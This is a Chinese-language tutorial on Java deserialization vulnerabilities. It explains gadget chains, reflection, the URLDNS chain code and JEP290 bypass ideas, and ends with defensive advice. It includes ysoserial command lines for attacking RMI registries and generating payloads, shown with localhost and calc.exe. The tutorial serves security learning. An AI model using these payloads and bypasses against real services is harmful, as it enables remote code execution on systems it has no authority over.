Java反序列化从入门到放弃
字数 1916 2025-08-11 21:26:12
Java反序列化漏洞从入门到精通
一、序列化与反序列化基础
1. 基本概念
序列化:将内存中的对象压缩成字节流的形式,以便存储或传输。
反序列化:将字节流转化回内存中的对象。
2. Java序列化特点
- 需要实现
java.io.Serializable接口(空接口,仅作为标记) - 使用
ObjectOutputStream的writeObject()方法序列化 - 使用
ObjectInputStream的readObject()方法反序列化 - 静态属性和
transient关键字修饰的属性不会被序列化
3. 安全问题成因
当服务端反序列化客户端传递的数据时,会自动调用对象的readObject()方法。如果攻击者能够控制被反序列化的类,并重写了readObject()方法,就可以在服务端执行任意代码。
二、漏洞利用关键点
1. 利用链组成
利用链(Chain of Gadgets) = 入口点(Source) + 中间类方法(Gadget) + 执行点(Sink)
常见执行点(Sink):
Runtime.exec()- 执行系统命令ProcessBuilder.start()- 启动新进程Method.invoke()- 反射调用方法- JNDI注入等
2. 常见利用形式
- 入口类的
readObject直接调用危险方法 - 入口类参数中包含可控类,该类有危险方法
- 入口类参数中包含可控类,该类又调用其他有危险方法的类
- 通过
equals/hashCode/toString等隐式调用方法
三、核心技术
1. Java反射机制
反射允许程序在运行时获取类的信息并操作类或对象。
关键API:
// 获取Class对象
Class.forName("全类名");
类名.class;
对象.getClass();
// 操作字段
getField()/getDeclaredField()
field.get(obj)/field.set(obj, value)
// 操作方法
getMethod()/getDeclaredMethod()
method.invoke(obj, args)
// 操作构造器
getConstructor()/getDeclaredConstructor()
constructor.newInstance(args)
2. 动态代理
静态代理:手动编写代理类,实现相同接口,调用目标方法前后添加逻辑。
动态代理:运行时动态生成代理类,核心类:
java.lang.reflect.Proxyjava.lang.reflect.InvocationHandler
示例:
InvocationHandler handler = new MyInvocationHandler(target);
Object proxy = Proxy.newProxyInstance(
target.getClass().getClassLoader(),
target.getClass().getInterfaces(),
handler);
3. 类动态加载
类加载时机:
- 静态代码块:类加载时执行
- 构造代码块:实例化时执行
- 构造函数:实例化时执行
动态加载方法:
Class.forName()- 会初始化类ClassLoader.loadClass()- 不会初始化类Unsafe.defineClass()- 直接定义类
四、漏洞利用链分析
1. URLDNS链
原理:利用HashMap反序列化时触发URL的hashCode方法,导致DNS查询。
利用步骤:
- 创建HashMap,将URL对象作为key
- 序列化HashMap
- 反序列化时触发DNS查询
特点:
- 用于漏洞验证
- 不依赖第三方库
- 无版本限制
示例代码:
HashMap<URL, Integer> hashmap = new HashMap<>();
URL url = new URL("http://dnslog.cn");
// 防止put时触发DNS查询
Field field = URL.class.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url, 1);
hashmap.put(url, 1);
// 恢复hashCode以便反序列化时触发
field.set(url, -1);
serialize(hashmap);
2. RMI/JRMP利用
RMI(远程方法调用):
- 客户端通过Registry查找远程对象
- 服务端通过Registry注册远程对象
- 底层使用JRMP协议通信
攻击方式:
- 攻击Registry服务:直接发送恶意序列化数据
- JRMP客户端:让服务端连接恶意JRMP监听器
- JRMP服务端:客户端反序列化恶意返回对象
工具利用:
# 攻击RMI Registry
java -jar ysoserial.jar RMIRegistryExploit host port payload "command"
# 启动JRMP监听器
java -jar ysoserial.jar JRMPListener port payload "command"
# 生成JRMP客户端payload
java -jar ysoserial.jar JRMPClient host:port > payload.bin
五、防御机制与绕过
1. JEP290防御机制
特性:
- 黑白名单过滤反序列化类
- 限制反序列化深度和复杂度
- 可配置过滤规则
绕过方法:
- 使用JRMP客户端二次反序列化
- 利用未受保护的上下文(如非RMI Registry/DGC/JMX)
- 使用不在黑名单中的类构造利用链
六、漏洞挖掘与利用实践
1. 利用步骤
- 识别反序列化入口点
- 寻找可用的gadget链
- 构造恶意序列化数据
- 发送数据触发漏洞
2. ysoserial工具使用
常用payload:
- CommonsCollections1-7
- Groovy1
- Spring1
- Jdk7u21
- JRMPClient/JRMPListener
使用示例:
# 生成payload
java -jar ysoserial.jar CommonsCollections1 "calc.exe" > payload.bin
# 攻击RMI服务
java -jar ysoserial.jar RMIRegistryExploit 127.0.0.1 1099 CommonsCollections1 "calc.exe"
七、防护建议
- 升级JDK到最新版本
- 对反序列化操作添加严格的白名单过滤
- 使用安全的序列化替代方案(如JSON)
- 限制反序列化操作的网络访问
- 监控和记录反序列化异常
八、扩展知识
1. 常见漏洞组件
- Apache Shiro
- Apache Axis
- Weblogic
- JBoss
- Fastjson
- Jackson
2. 其他序列化形式
- XMLDecoder/XMLEncoder
- XStream
- SnakeYaml
- FastJson
- Jackson
通过深入理解这些原理和技术,安全研究人员可以更有效地挖掘和防御Java反序列化漏洞,而开发人员则可以编写更安全的序列化相关代码。